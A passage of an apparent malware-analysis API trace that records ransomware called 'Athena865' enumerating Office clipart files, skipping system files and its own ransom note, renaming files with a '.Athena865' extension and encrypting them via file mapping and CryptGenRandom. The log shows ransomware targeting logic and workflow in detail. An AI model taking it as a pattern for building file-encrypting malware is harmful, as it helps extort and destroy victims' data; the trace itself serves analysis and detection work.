lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0121.217] lstrlenW (lpString="abx") returned 3 [0121.218] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0121.218] lstrlenW (lpString="accdb") returned 5 [0121.218] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0121.218] lstrlenW (lpString="accdc") returned 5 [0121.218] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0121.218] lstrlenW (lpString="accde") returned 5 [0121.218] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0121.218] lstrlenW (lpString="accdr") returned 5 [0121.218] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0121.218] lstrlenW (lpString="accdt") returned 5 [0121.218] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0121.218] lstrlenW (lpString="accdw") returned 5 [0121.218] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0121.218] lstrlenW (lpString="accft") returned 5 [0121.218] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0121.218] lstrlenW (lpString="adb") returned 3 [0121.218] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.218] lstrlenW (lpString="adb") returned 3 [0121.218] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.218] lstrlenW (lpString="ade") returned 3 [0121.218] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0121.218] lstrlenW (lpString="adf") returned 3 [0121.218] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0121.218] lstrlenW (lpString="adn") returned 3 [0121.218] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0121.218] lstrlenW (lpString="adp") returned 3 [0121.218] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0121.218] lstrlenW (lpString="alf") returned 3 [0121.219] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0121.219] lstrlenW (lpString="ask") returned 3 [0121.219] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0121.219] lstrlenW (lpString="btr") returned 3 [0121.219] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0121.219] lstrlenW (lpString="cat") returned 3 [0121.219] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0121.219] lstrlenW (lpString="cdb") returned 3 [0121.219] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0121.219] lstrlenW (lpString="ckp") returned 3 [0121.219] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0121.219] lstrlenW (lpString="cma") returned 3 [0121.219] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0121.219] lstrlenW (lpString="cpd") returned 3 [0121.219] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0121.219] lstrlenW (lpString="dacpac") returned 6 [0121.219] lstrcmpiW (lpString1="5_.GIF", lpString2="dacpac") returned -1 [0121.219] lstrlenW (lpString="dad") returned 3 [0121.219] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0121.219] lstrlenW (lpString="dadiagrams") returned 10 [0121.219] lstrcmpiW (lpString1="00165_.GIF", lpString2="dadiagrams") returned -1 [0121.219] lstrlenW (lpString="daschema") returned 8 [0121.219] lstrcmpiW (lpString1="165_.GIF", lpString2="daschema") returned -1 [0121.219] lstrlenW (lpString="db-journal") returned 10 [0121.219] lstrcmpiW (lpString1="00165_.GIF", lpString2="db-journal") returned -1 [0121.219] lstrlenW (lpString="db-shm") returned 6 [0121.219] lstrcmpiW (lpString1="5_.GIF", lpString2="db-shm") returned -1 [0121.220] lstrlenW (lpString="db-wal") returned 6 [0121.220] lstrcmpiW (lpString1="5_.GIF", lpString2="db-wal") returned -1 [0121.220] lstrlenW (lpString="dbc") returned 3 [0121.220] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0121.220] lstrlenW (lpString="dbs") returned 3 [0121.220] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0121.220] lstrlenW (lpString="dbt") returned 3 [0121.220] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0121.220] lstrlenW (lpString="dbv") returned 3 [0121.220] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0121.220] lstrlenW (lpString="dbx") returned 3 [0121.220] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0121.220] lstrlenW (lpString="dcb") returned 3 [0121.220] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0121.220] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0121.220] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.Athena865") returned 73 [0121.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.athena865"), dwFlags=0x1) returned 1 [0121.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.222] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8582) returned 1 [0121.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.223] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.224] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.224] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.224] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2490, lpName=0x0) returned 0x154 [0121.226] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2490) returned 0x100000 [0121.232] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.232] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.232] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.233] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.233] CloseHandle (hObject=0x154) returned 1 [0121.233] CloseHandle (hObject=0x17c) returned 1 [0121.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.234] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".") returned 1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="..") returned 1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="windows") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="bootmgr") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="temp") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="pagefile.sys") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="boot") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="ids.txt") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="ntuser.dat") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="perflogs") returned -1 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="MSBuild") returned -1 [0121.234] lstrlenW (lpString="AG00167_.GIF") returned 12 [0121.234] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00167_.GIF" | out: lpString1="AG00167_.GIF") returned="AG00167_.GIF" [0121.234] lstrlenW (lpString="AG00167_.GIF") returned 12 [0121.234] lstrlenW (lpString="Athena865") returned 9 [0121.234] lstrcmpiW (lpString1="0167_.GIF", lpString2="Athena865") returned -1 [0121.234] lstrlenW (lpString=".dll") returned 4 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".dll") returned 1 [0121.234] lstrlenW (lpString=".lnk") returned 4 [0121.234] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".lnk") returned 1 [0121.234] lstrlenW (lpString=".ini") returned 4 [0121.235] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".ini") returned 1 [0121.235] lstrlenW (lpString=".sys") returned 4 [0121.235] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".sys") returned 1 [0121.235] lstrlenW (lpString="AG00167_.GIF") returned 12 [0121.235] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.Athena865") returned 73 [0121.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.athena865"), dwFlags=0x1) returned 1 [0121.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.236] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4894) returned 1 [0121.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.236] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.237] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.237] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.237] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1620, lpName=0x0) returned 0x154 [0121.239] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1620) returned 0x100000 [0121.240] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.241] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.241] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.242] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.242] CloseHandle (hObject=0x154) returned 1 [0121.242] CloseHandle (hObject=0x17c) returned 1 [0121.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.242] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0121.242] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.242] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.242] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".") returned 1 [0121.242] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="..") returned 1 [0121.242] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="windows") returned -1 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="bootmgr") returned -1 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="temp") returned -1 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="pagefile.sys") returned -1 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="boot") returned -1 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="ids.txt") returned -1 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="ntuser.dat") returned -1 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="perflogs") returned -1 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="MSBuild") returned -1 [0121.243] lstrlenW (lpString="AG00169_.GIF") returned 12 [0121.243] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00169_.GIF" | out: lpString1="AG00169_.GIF") returned="AG00169_.GIF" [0121.243] lstrlenW (lpString="AG00169_.GIF") returned 12 [0121.243] lstrlenW (lpString="Athena865") returned 9 [0121.243] lstrcmpiW (lpString1="0169_.GIF", lpString2="Athena865") returned -1 [0121.243] lstrlenW (lpString=".dll") returned 4 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".dll") returned 1 [0121.243] lstrlenW (lpString=".lnk") returned 4 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".lnk") returned 1 [0121.243] lstrlenW (lpString=".ini") returned 4 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".ini") returned 1 [0121.243] lstrlenW (lpString=".sys") returned 4 [0121.243] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".sys") returned 1 [0121.243] lstrlenW (lpString="AG00169_.GIF") returned 12 [0121.243] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.Athena865") returned 73 [0121.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.athena865"), dwFlags=0x1) returned 1 [0121.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.244] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5375) returned 1 [0121.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.245] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.246] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.246] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.246] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1800, lpName=0x0) returned 0x154 [0121.248] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1800) returned 0x100000 [0121.250] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.251] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.251] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.252] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.252] CloseHandle (hObject=0x154) returned 1 [0121.252] CloseHandle (hObject=0x17c) returned 1 [0121.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.252] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2=".") returned 1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="..") returned 1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="windows") returned -1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="bootmgr") returned -1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="temp") returned -1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="pagefile.sys") returned -1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="boot") returned -1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="ids.txt") returned -1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="ntuser.dat") returned -1 [0121.252] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="perflogs") returned -1 [0121.253] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="MSBuild") returned -1 [0121.253] lstrlenW (lpString="AG00170_.GIF") returned 12 [0121.253] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00170_.GIF" | out: lpString1="AG00170_.GIF") returned="AG00170_.GIF" [0121.253] lstrlenW (lpString="AG00170_.GIF") returned 12 [0121.253] lstrlenW (lpString="Athena865") returned 9 [0121.253] lstrcmpiW (lpString1="0170_.GIF", lpString2="Athena865") returned -1 [0121.253] lstrlenW (lpString=".dll") returned 4 [0121.253] lstrcmpiW (lpString1="AG00170_.GIF", lpString2=".dll") returned 1 [0121.253] lstrlenW (lpString=".lnk") returned 4 [0121.253] lstrcmpiW (lpString1="AG00170_.GIF", lpString2=".lnk") returned 1 [0121.253] lstrlenW (lpString=".ini") returned 4 [0121.253] lstrcmpiW (lpString1="AG00170_.GIF", lpString2=".ini") returned 1 [0121.253] lstrlenW (lpString=".sys") returned 4 [0121.253] lstrcmpiW (lpString1="AG00170_.GIF", lpString2=".sys") returned 1 [0121.253] lstrlenW (lpString="AG00170_.GIF") returned 12 [0121.253] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.Athena865") returned 73 [0121.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.athena865"), dwFlags=0x1) returned 1 [0121.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.256] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9248) returned 1 [0121.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.256] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.257] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.257] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.257] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2720, lpName=0x0) returned 0x154 [0121.259] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2720) returned 0x100000 [0121.260] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.260] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.260] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) 